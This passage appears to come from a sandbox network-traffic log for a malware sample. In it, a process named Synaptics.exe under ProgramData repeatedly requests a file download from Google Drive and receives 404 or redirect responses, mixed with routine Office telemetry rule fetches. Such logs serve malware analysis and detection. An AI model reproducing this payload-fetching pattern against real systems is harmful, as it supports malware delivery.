2024-11-05 21:44:25 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:26 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Re-JzcpIsnRoTxwA8BmM_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY13XtGfpEyUZj4bLizzIoSwHb3F0aBHe4Hq9RlhXBRtD6kZ0G0u3AAXBRCVJcMpDoeaKDS7xEXOew Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:26 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:26 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 32 6e 70 55 4d 51 6f 4f 46 77 6f 38 57 79 56 48 32 48 65 7a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="Y2npUMQoOFwo8WyVH2HezQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:26 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49876	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-iBD5yvb52CtjMxLX_DUwGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9919728d-d01e-002b-4b0b-2d25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214425Z-16547b76f7ftdm8dhC1DFWs13g00000005t000000000215d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-16547b76f7f775p5hC1DFWzdvn00000005s0000000008bax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:26 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-16547b76f7fq9mcrhC1DFWq15w00000005n000000000qe6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:26 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-16547b76f7fknvdnhC1DFWxnys00000005v000000000293k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:26 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 94271b33-901e-0067-284a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-15869dbbcc6sg5zbhC1DFWsy5c000000024000000000r88a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-16547b76f7fr4g8xhC1DFW9cqc00000004u000000000udfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214426Z-16547b76f7fknvdnhC1DFWxnys00000005v0000000002947 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49886	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:27 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-vt9XTedTW4mcYvALGtLSKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY13s4glPPUjFp2JKjT_RXxbI2Nx-d7YcRRN7gYVN7XIDBVdleCHzIleBbzXYI21AwfyYbCva0PN6w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:27 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:27 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 63 6c 71 41 59 6c 4b 43 4b 39 6e 52 35 70 55 74 33 7a 46 2d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="wclqAYlKCK9nR5pUt3zF-A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
